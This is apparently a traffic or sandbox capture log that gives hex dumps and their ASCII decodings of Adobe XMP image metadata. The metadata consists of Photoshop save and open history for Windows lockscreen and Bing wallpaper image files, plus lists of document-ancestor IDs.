65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 53 65 63 75 72 
69 74 79 2d 53 4d 42 2d 49 54 2d 50 72 6f 73 5c 43 68 6f 73 65 6e 5c 43 68 6f 73 65 6e 5c 57 69 6e 64 6f 77 73 2d 53 65 
63 75 72 69 74 79 2d 53 4d 42 2d 49 54 2d 50 72 6f 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 32 36 32 35 31 37 32 3
5 29 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 39 54 31 38 
3a 30 36 3a 31 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 
5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 
Data Ascii: 08-09T18:04:52-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Windows\Security-SMB-IT-Pros\Chosen\C
hosen\Windows-Security-SMB-IT-Pros_GettyImages-526251725)1920x1080.jpg saved&#xA;2017-08-09T18:06:15-
07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen

2022-05-13 14:42:07 UTC 3737 IN Data Raw: 32 34 35 42 31 45 45 32 42 30 45 45 38 34 31 31 42 36 41 43 31 42 34 33 41 43 39 35 44 33 39 2e 70 73 62 
20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 32 39 54 31 35 3a 35 37 3a 31 31 2d 30 37 3a 30 30 26 23 78 
39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 6f 
72 74 61 6e 61 5c 4d 6f 74 69 76 61 74 69 6f 6e 61 6c 2d 43 61 6d 70 61 69 67 6e 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 
5c 51 75 6f 74 65 44 61 79 48 69 73 74 6f 72 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 37 33 37 32 30 39 38 5f 31 
39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 32 39 54 31 35 3a 35 39 
3a 34 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 
Data Ascii: 245B1EE2B0EE8411B6AC1B43AC95D39.psb saved&#xA;2017-08-29T15:57:11-07:00&#x9;File C:\Users\v-
lizagh\MS\Windows10\Cortana\Motivational-Campaign\Chosen\Crops\QuoteDayHistory_GettyImages-537372098_1920x
1080.jpg saved&#xA;2017-08-29T15:59:46-07:00&#x9;File C:\

2022-05-13 14:42:07 UTC 3840 IN Data Raw: 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 53 6f 63 63 65 
72 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 53 6f 63 63 65 72 5f 41 6c 61 6d 79 2d 47 39 44 48 52 33 5f 
31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 30 2d 31 33 54 31 37 3a 35 
35 3a 33 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 
53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 53 6f 63 63 65 72 5c 5f 43 48 
4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 53 6f 63 63 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 38 35 35 30 31 31 
37 32 32 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 
Data Ascii: MS\Windows10\MIT-International\Soccer\_CHOSEN\Crops\MIT-Soccer_Alamy-G9DHR3_1920x1080.psd 
saved&#xA;2017-10-13T17:55:32-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MIT-International\Soccer\_CHOSEN
\Crops\MIT-Soccer_GettyImages-855011722_1920x1080.jpg sav

2022-05-13 14:42:07 UTC 3856 IN Data Raw: 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 31 37 54 31 36 3a 30 30 3a 31 38 2d 30 38 3a 30 
30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 
31 30 5c 4f 66 66 69 63 65 5c 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 37 5c 5f 43 48 4f 53 45 4e 5c 53 6b 79 70 65 5c 43 
72 6f 70 73 5c 4f 66 66 69 63 65 2d 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 38 35 39 32 35 39 32 34 38 5f 
31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 31 37 54 31 36 3a 30 
31 3a 34 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 
53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 
Data Ascii:  saved&#xA;2017-11-17T16:00:18-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\Spotlight_FY17
\_CHOSEN\Skype\Crops\Office-Skype_GettyImages-859259248_1920x1080.jpg saved&#xA;2017-11-17T16:01:47-
08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_

2022-05-13 14:42:07 UTC 4175 IN Data Raw: 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 
6e 64 6f 77 73 31 30 5c 42 69 6e 67 45 64 67 65 47 72 6f 77 74 68 49 6d 61 67 65 73 5c 4c 6f 63 6b 32 30 31 37 5f 42 61 
74 63 68 39 5c 43 48 4f 53 45 4e 5c 52 65 70 6c 61 63 65 6d 65 6e 74 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 39 5f 4d 74 52 
61 69 6e 69 65 72 57 41 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 38 35 31 30 32 30 38 39 5f 31 39 32 30 78 31 30 38 
30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 34 54 31 33 3a 33 33 3a 35 30 2d 30 38 3a 
30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 
73 31 30 5c 42 69 6e 67 45 64 67 65 47 72 6f 77 74 68 49 6d 61 67 65 
Data Ascii: 00&#x9;File C:\Users\v-lizagh\MS\Windows10\BingEdgeGrowthImages\Lock2017_Batch9\CHOSEN\R
eplacements\Lock2017-B9_MtRainierWA_GettyImages-685102089_1920x1080.jpg saved&#xA;2017-12-04T13:33:50-
08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\BingEdgeGrowthImage

2022-05-13 14:42:07 UTC 4286 IN Data Raw: 41 3b 32 30 31 38 2d 30 31 2d 30 34 54 32 32 3a 34 30 3a 33 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 
65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 
65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 
30 31 38 2d 30 31 2d 30 39 54 30 38 3a 31 39 3a 31 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 6
3 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 
3b 32 30 31 38 2d 30 31 2d 30 39 54 30 38 3a 32 35 3a 34 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 
55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 
Data Ascii: A;2018-01-04T22:40:37-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape
.psd saved&#xA;2018-01-09T08:19:10-08:00&#x9;File Lockscreen_1920x1080_Landscape.psd opened&#xA;2018-01-
09T08:25:48-08:00&#x9;File C:\Users\v-lizagh\MS\Windo

2022-05-13 14:42:07 UTC 4302 IN Data Raw: 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 
6e 64 6f 77 73 31 30 5c 43 68 69 6e 61 5c 50 69 70 61 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 43 68 69 6e 61 2d 50 69 
70 61 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 30 31 35 33 35 30 39 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 
73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 30 38 54 31 33 3a 35 37 3a 33 35 2d 30 38 3a 30 30 26 23 78 39 
3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 68 
69 6e 61 5c 50 69 70 61 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 43 68 69 6e 61 2d 50 69 70 61 5f 47 65 74 74 79 49 
6d 61 67 65 73 2d 36 32 33 34 39 37 37 32 36 5f 31 39 32 30 78 31 30 38 
Data Ascii: 00&#x9;File C:\Users\v-lizagh\MS\Windows10\China\Pipa\CHOSEN\Crops\China-Pipa_GettyImages-
510153509_1920x1080.jpg saved&#xA;2018-02-08T13:57:35-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\China\Pi
pa\CHOSEN\Crops\China-Pipa_GettyImages-623497726_1920x108

2022-05-13 14:42:07 UTC 4400 IN Data Raw: 30 31 38 2d 30 32 2d 32 36 54 31 33 3a 30 31 3a 32 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 
63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2d 52 65 63 6f 76 65 72 65 64 2e 70 
73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 32 36 54 31 33 3a 30 35 3a 32 34 2d 30 38 3a 30 30 
26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 
30 5c 5f 5f 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 
63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 32 36 54 31 33 3a 30 39 3a 30 37 2d 
30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 44 3a 5c 5f 57 69 6e 
Data Ascii: 018-02-26T13:01:24-08:00&#x9;File Lockscreen_1920x1080_Landscape-Recovered.psd opened&#xA;2018-
02-26T13:05:24-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\__Templates\Lockscreen_1920x1080_Landscape.psd 
saved&#xA;2018-02-26T13:09:07-08:00&#x9;File D:\_Win
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2022-05-13 14:42:07 UTC 4464 IN Data Raw: 78 41 3b 32 30 31 38 2d 30 33 2d 32 32 54 30 39 3a 31 32 3a 32 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 
6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 68 69 6e 61 
5c 53 75 72 66 61 63 65 4d 6f 75 73 65 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 43 68 69 6e 61 2d 53 75 72 66 61 63 
65 4d 6f 75 73 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 39 37 39 32 35 38 33 36 5f 31 39 32 30 78 31 30 38 30 2e 6
a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 32 32 54 30 39 3a 31 36 3a 31 39 2d 30 37 3a 30 30 
26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 
6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 
Data Ascii: xA;2018-03-22T09:12:20-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\China\SurfaceMouse\
_CHOSEN\Crops\China-SurfaceMouse_GettyImages-597925836_1920x1080.jpg saved&#xA;2018-03-22T09:16:19-0
7:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photosh

2022-05-13 14:42:07 UTC 4542 IN Data Raw: 45 30 45 38 42 34 30 32 33 43 46 38 37 37 34 42 34 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 30 43 37 44 43 35 34 31 37 42 31 36 34 43 43 39 32 42 37 34 30 30 41 38 46 31 32 31 36 41 46 41 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 38 31 30 34 37 30 34 32 35 34 43 43 33 37 39 39 35 31 35 38 32 31 31 34 44 
33 38 45 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 38 36 39 39 33 30 30 36 41 39 41 34 30 46 4
4 30 36 45 31 44 33 30 30 41 35 34 31 35 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 42 30 32 30 
33 35 43 32 38 34 35 39 32 45 46 43 34 38 46 35 30 35 32 36 30 41 45 37 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 30 43 42 41 31 36 37 31 46 38 34 38 43 43 38 37 37 43 
Data Ascii: E0E8B4023CF8774B47D</rdf:li> <rdf:li>0C7DC5417B164CC92B7400A8F1216AFA</rdf:li> <rdf:li>0
C8104704254CC379951582114D38E0A</rdf:li> <rdf:li>0C86993006A9A40FD06E1D300A541507</rdf:li> <rdf:li>0
CB02035C284592EFC48F505260AE7AB</rdf:li> <rdf:li>0CBA1671F848CC877C

2022-05-13 14:42:07 UTC 4684 IN Data Raw: 30 35 31 42 33 30 36 31 39 42 35 45 41 45 31 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 
32 38 37 45 32 32 32 36 31 32 37 39 30 43 30 42 30 43 34 36 43 42 42 39 41 38 33 30 30 33 36 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 31 32 39 34 33 32 37 41 45 37 36 32 45 38 32 46 46 41 38 43 38 38 35 30 36 45 44 46 34 
32 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 42 43 39 31 39 42 43 46 46 34 31 30 39 38 34 34 4
5 31 36 38 33 32 38 30 45 42 34 44 43 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 32 42 45 41 39 35 45 
41 46 45 31 31 46 41 36 33 43 44 45 34 31 42 33 45 41 43 32 35 31 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 31 32 43 35 39 32 37 41 30 44 35 45 46 34 33 37 45 42 44 43 
Data Ascii: 051B30619B5EAE19A</rdf:li> <rdf:li>1287E222612790C0B0C46CBB9A830036</rdf:li> <rdf:li>129
4327AE762E82FFA8C88506EDF421B</rdf:li> <rdf:li>12BC919BCFF4109844E1683280EB4DC7</rdf:li> <rdf:li>12B
EA95EAFE11FA63CDE41B3EAC2516F</rdf:li> <rdf:li>12C5927A0D5EF437EBDC

2022-05-13 14:42:07 UTC 4756 IN Data Raw: 3e 32 30 42 43 37 36 44 32 44 34 33 46 33 38 37 34 39 35 36 41 39 43 39 36 32 32 45 36 35 37 43 46 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 30 43 37 45 38 34 45 32 34 33 44 45 32 44 43 44 44 42 42 36 30 30 
30 42 37 32 45 32 43 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 30 43 41 38 36 34 31 31 36 36 32 3
8 34 43 41 42 46 31 35 44 43 39 43 45 37 38 46 45 44 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 30 
44 32 36 39 38 37 31 39 35 42 37 31 45 34 30 41 32 35 39 38 45 43 45 36 35 36 38 32 43 34 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 32 30 44 37 33 41 46 35 32 45 41 35 44 32 38 35 30 38 35 31 38 38 44 41 46 31 33 36 46 44 
36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 30 44 43 
Data Ascii: >20BC76D2D43F3874956A9C9622E657CF</rdf:li> <rdf:li>20C7E84E243DE2DCDDBB6000B72E2C01</rdf
:li> <rdf:li>20CA8641166284CABF15DC9CE78FED38</rdf:li> <rdf:li>20D26987195B71E40A2598ECE65682C4</rdf:li> 
<rdf:li>20D73AF52EA5D285085188DAF136FD6E</rdf:li> <rdf:li>20DC

2022-05-13 14:42:07 UTC 4827 IN Data Raw: 33 31 35 30 37 30 33 46 37 34 31 38 44 46 39 46 33 45 44 45 35 34 34 35 43 30 32 42 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 32 44 32 33 34 38 46 37 36 42 33 36 44 36 44 43 39 34 34 38 39 32 38 31 35 38 39 30 32 
37 30 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 32 39 43 36 45 46 44 44 44 44 34 45 41 46 43 33 
32 32 34 44 44 31 44 34 34 35 35 32 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 32 41 33 33 44 3
0 35 46 31 30 46 35 30 31 35 37 35 38 38 38 31 31 37 37 36 38 36 34 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 32 44 32 42 31 36 44 31 38 44 38 33 39 35 37 39 35 33 32 33 37 35 41 35 31 45 42 31 41 32 36 43 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 44 33 44 46 45 35 31 32 
Data Ascii: 3150703F7418DF9F3EDE5445C02B</rdf:li> <rdf:li>2D2348F76B36D6DC944892815890270F</rdf:li> 
<rdf:li>2D29C6EFDDDD4EAFC3224DD1D4455259</rdf:li> <rdf:li>2D2A33D05F10F501575888117768641D</rdf:li> 
<rdf:li>2D2B16D18D839579532375A51EB1A26C</rdf:li> <rdf:li>2D3DFE512

2022-05-13 14:42:07 UTC 4858 IN Data Raw: 41 39 30 44 36 30 43 35 36 36 30 34 32 34 43 42 46 38 33 43 46 30 37 43 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 33 33 31 46 36 36 30 31 42 43 42 39 33 41 36 39 33 34 46 39 43 45 45 38 32 39 45 44 36 43 41 
43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 32 42 45 46 33 38 32 33 45 45 31 32 35 36 31 43 31 39 
42 44 35 42 35 38 33 32 35 33 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 32 43 44 46 45 32 37 3
8 38 30 42 35 45 34 31 31 37 37 45 36 31 35 32 45 44 39 31 39 45 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 33 33 32 44 32 42 30 30 43 36 37 33 45 33 42 42 35 45 30 32 44 43 44 30 37 33 41 31 33 34 35 39 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 33 36 38 46 32 42 42 44 34 
Data Ascii: A90D60C5660424CBF83CF07C00</rdf:li> <rdf:li>331F6601BCB93A6934F9CEE829ED6CAC</rdf:li> <r
df:li>332BEF3823EE12561C19BD5B58325314</rdf:li> <rdf:li>332CDFE27880B5E41177E6152ED919ED</rdf:li> <r
df:li>332D2B00C673E3BB5E02DCD073A13459</rdf:li> <rdf:li>33368F2BBD4

2022-05-13 14:42:07 UTC 4906 IN Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 38 45 37 33 36 46 36 35 38 38 41 32 30 45 36 34 33 34 42 37 32 43 33 
32 37 45 44 35 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 39 31 38 33 34 38 30 44 39 41 30 45 
35 36 38 35 37 37 32 42 38 44 46 45 38 35 42 36 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 39 3
2 39 38 43 38 31 43 45 31 30 39 35 46 42 34 34 35 37 36 34 36 34 45 37 42 44 35 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 34 30 39 45 43 42 31 35 41 35 36 37 45 44 34 45 35 39 45 39 35 45 36 31 46 39 45 32 43 37 37 35 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 41 31 36 34 43 36 34 31 36 36 44 33 36 42 39 43 41 45 36 
42 37 36 30 30 37 36 41 39 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
Data Ascii: > <rdf:li>408E736F6588A20E6434B72C327ED53D</rdf:li> <rdf:li>409183480D9A0E5685772B8DFE85
B67D</rdf:li> <rdf:li>409298C81CE1095FB44576464E7BD5EF</rdf:li> <rdf:li>409ECB15A567ED4E59E95E61F9E2
C775</rdf:li> <rdf:li>40A164C64166D36B9CAE6B760076A959</rdf:li> <rd

2022-05-13 14:42:07 UTC 4930 IN Data Raw: 33 41 32 41 38 34 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 43 30 46 37 35 39 34 36 
30 30 35 46 41 45 38 33 43 30 37 39 36 30 37 31 43 43 46 42 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 34 44 43 31 37 32 33 41 37 34 31 46 36 43 45 36 34 39 46 35 41 33 34 45 32 34 30 35 31 41 39 45 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 43 44 32 43 34 31 44 37 36 45 30 30 31 31 35 42 34 44 36 31 33 30 31 33 33 
45 41 42 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 44 32 36 43 31 32 43 43 42 35 30 33 39 42 
46 35 36 46 30 33 35 36 37 34 37 46 45 45 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 44 45 45 
31 45 31 34 34 38 39 31 41 37 31 31 42 30 44 46 41 42 30 46 34 30 38 43 
Data Ascii: 3A2A8442</rdf:li> <rdf:li>4DC0F75946005FAE83C0796071CCFB31</rdf:li> <rdf:li>4DC1723A741F
6CE649F5A34E24051A9E</rdf:li> <rdf:li>4DCD2C41D76E00115B4D6130133EAB6C</rdf:li> <rdf:li>4DD26C12CCB5
039BF56F0356747FEED9</rdf:li> <rdf:li>4DDEE1E144891A711B0DFAB0F408C
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2022-05-13 14:42:07 UTC 4970 IN Data Raw: 32 35 32 33 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 34 37 35 35 31 39 45 30 43 39 33 
34 41 39 35 39 46 43 30 34 30 43 34 42 42 41 38 39 36 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 
34 38 43 30 39 38 33 45 44 33 30 30 43 39 33 43 32 30 30 32 43 36 32 41 45 32 43 43 39 39 34 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 35 34 38 46 43 30 34 44 35 33 38 33 38 36 46 46 30 30 39 33 36 39 34 33 31 37 44 36 35 
37 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 34 41 35 33 44 46 37 39 30 33 45 37 39 42 38 43 36 
46 45 38 41 43 33 37 39 31 45 36 35 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 34 41 36 31 44 36 
45 36 43 42 42 35 34 33 35 34 34 44 41 34 30 39 37 32 36 32 32 42 30 32 
Data Ascii: 25236D</rdf:li> <rdf:li>5475519E0C934A959FC040C4BBA8962F</rdf:li> <rdf:li>548C0983ED300C
93C2002C62AE2CC994</rdf:li> <rdf:li>548FC04D538386FF0093694317D6572F</rdf:li> <rdf:li>54A53DF7903E79
B8C6FE8AC3791E65E5</rdf:li> <rdf:li>54A61D6E6CBB543544DA40972622B02

2022-05-13 14:42:07 UTC 5368 IN Data Raw: 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 32 43 34 46 34 43 46 34 41 35 32 42 41 43 34 39 
46 43 44 46 35 34 36 43 30 34 44 30 38 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 32 44 37 44 38 
45 45 38 35 36 46 32 46 44 41 36 38 39 46 37 43 42 38 36 31 34 41 32 41 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 36 32 45 32 32 45 44 35 34 31 37 44 30 46 30 34 39 37 31 35 43 42 43 41 46 37 36 36 36 45 45 33 3c 2f 7
2 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 32 45 42 39 32 34 42 46 45 31 45 43 43 39 34 33 43 37 31 43 45 36 
44 38 46 38 42 37 35 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 33 30 45 34 42 44 37 33 37 41 32 
43 41 37 30 38 34 38 44 32 44 43 39 46 36 41 43 45 36 32 30 3c 2f 72 64 
Data Ascii: 6</rdf:li> <rdf:li>62C4F4CF4A52BAC49FCDF546C04D0820</rdf:li> <rdf:li>62D7D8EE856F2FDA689
F7CB8614A2A5C</rdf:li> <rdf:li>62E22ED5417D0F049715CBCAF7666EE3</rdf:li> <rdf:li>62EB924BFE1ECC943C7
1CE6D8F8B759D</rdf:li> <rdf:li>630E4BD737A2CA70848D2DC9F6ACE620</rd

2022-05-13 14:42:07 UTC 5408 IN Data Raw: 43 36 33 38 44 34 43 39 30 35 37 43 32 30 30 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 
31 31 42 30 37 43 46 32 32 41 33 31 44 30 32 41 35 42 33 37 33 43 42 34 34 36 35 30 34 37 45 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 37 31 32 30 35 30 30 45 36 37 43 38 31 37 33 37 32 36 43 38 43 42 39 41 33 44 37 38 42 
39 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 31 32 33 36 34 36 30 34 38 46 39 36 39 36 32 35 43 3
3 30 39 41 41 31 45 45 38 33 37 38 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 31 32 33 41 46 41 39 
42 45 36 33 42 38 39 31 44 30 32 41 45 32 42 43 33 30 42 33 42 32 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 37 31 32 36 36 34 32 35 44 43 38 46 38 36 38 46 38 30 44 35 
Data Ascii: C638D4C9057C200EB</rdf:li> <rdf:li>711B07CF22A31D02A5B373CB4465047E</rdf:li> <rdf:li>712
0500E67C8173726C8CB9A3D78B9DF</rdf:li> <rdf:li>7123646048F969625C309AA1EE8378F3</rdf:li> <rdf:li>712
3AFA9BE63B891D02AE2BC30B3B2D7</rdf:li> <rdf:li>71266425DC8F868F80D5

2022-05-13 14:42:07 UTC 5447 IN Data Raw: 33 36 31 37 42 30 46 43 30 34 37 33 32 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 37 34 
45 44 32 41 31 36 33 46 31 45 43 44 36 42 42 37 43 32 33 33 46 46 41 36 34 30 43 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 
